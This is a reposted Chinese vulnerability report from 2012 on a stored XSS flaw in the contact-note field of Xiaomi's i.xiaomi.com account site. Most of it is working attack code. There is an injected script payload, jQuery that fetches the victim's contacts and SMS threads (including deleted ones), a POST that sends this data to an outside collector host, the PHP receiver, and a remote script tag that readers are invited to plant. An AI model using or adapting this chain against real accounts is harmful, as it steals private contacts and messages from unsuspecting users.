小米账户严重XSS漏洞可导致泄漏用户私密资料

2012-8-30 11:49:12 来源:网络转载 浏览:288
小米最新漏洞公布:小米账户严重XSS漏洞可导致泄漏用户私密资料。

简要描述:
通过小米账户XSS窃取用户超敏感信息

详细说明:
现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始;
情景假设:
A:嘿,MAN,你也用小米手机?
B:当然了,小米手机杠杠的!
A:我最近拿到了XX门主角的电话哦!看在朋友的份上…不过要到同步到电脑登陆i.xiaomi.com才能看到号码。
B:好的!好的!
于是,过后B屁颠屁颠的登陆i.xiaomi.com去看,结果什么也没有。与此同时,A在电脑的另一端收集到了B的小米账户名!手机联系人!手机短信!
下面开正题,登陆小米账户,在右侧会显示联系人的详细资料,如图:

小米账户严重XS可S窃取私密资料

【图一】
可以看到是直接显示出来,而且对电话、邮件的格式没有进行过滤。
为了保险,我们选一个能写大量字符的地方,没错,那就是备注!
<Iframe src="http://www.baidu.com"></iframe>
<script>alert(/xss by cp0204/);</script>写入成功!

小米账户严重XS可S窃取私密资料

【图二】
谁说XSS价值不大,其实看你怎么利用罢了。试过抓包,但小米账户是https,抓包很困难,用浏览器就分析

小米账户严重XS可S窃取私密资料

【图三】
继续深入

小米账户严重XS可S窃取私密资料

【图四】
都抓出来,分别对应3个栏目,现在我们想办法收集这些数据
可以看到它是这样的,其中37009121是我的小米ID,后面跟的参数不知道什么,不管有用没用,但都可以通过JS取到
https://i.xiaomi.com/contacts/37009121/full?_dc=1342331522472&syncTag=0&limit=500返回:
{"result":"ok","description":"成功","data":{"content":{"9204442":{"content":{"id":9204442,"status":"custom","tag":10327278,"organizations":[{"title":"领导","company":"有关部门"}],"emails":[{"value":"Cp0204@qq.com","type":"home"}],"phoneNumbers":[{"value":"123456","type":"mobile"}],"displayName":"有关部门","note":"<Iframe src=\"http://www.baidu.com\"><\/iframe> \n<script>alert(/xss by cp0204/);<\/script>"},"spinyin":"ygbm","type":"contact","pinyin":"youguanbumen"}},"lastPage":true,"letterIndex":{"Y":[9204442]},"group":[],"syncTag":10327278},"code":0}
网站已引入了jquery,那我就方便多了,写js获取数据

//取联系人
result1 = getdata("/contacts/"+mid+"/full?syncTag=0");
//取短信
result2 = getdata("/sms/"+mid+"/full/thread?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//全部
result3 = getdata("/sms/"+mid+"/locked?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//收藏
result4 = getdata("/sms/"+mid+"/deleted/thread??syncTag=0&limit=20&_dc=1342338505981&readMode=older");//已删除

function getdata(url) {
var data
 $.ajax({
  url: url,
  async: false,
  success: function(result){data = obj2str(result);},
 });
 return data;
}
…………然后,收集
$.post("http://cptimer.sinaapp.com/mi/mi.php?mid="+mid+"&data="+data,{mid:mid,data:data}, function(result){
 alert(result); //return mid data
});顺便提一下,jq ajax是不可以跨域,但其实是可以提交,只是没有返回。所以这里post是可以的,mi.php
<?
$mid=$_REQUEST['mid'];
$data=$_REQUEST['data'];
echo "小米ID:".$_REQUEST["mid"]."\n账户数据:".$_REQUEST["data"];
?>
如此一来,联系人、短信全收集,什么门也出来了
有没有小白在备注里加上以下,做下试验,仅供学习…
<script src="http://cptimer.sinaapp.com/mi/mi.js"></script>

漏洞证明:

小米账户严重XS可S窃取私密资料

【图五】
我没有小米手机、没有小米手机、没有小米手机~

修复方案:
你们懂得……

(0)
(0)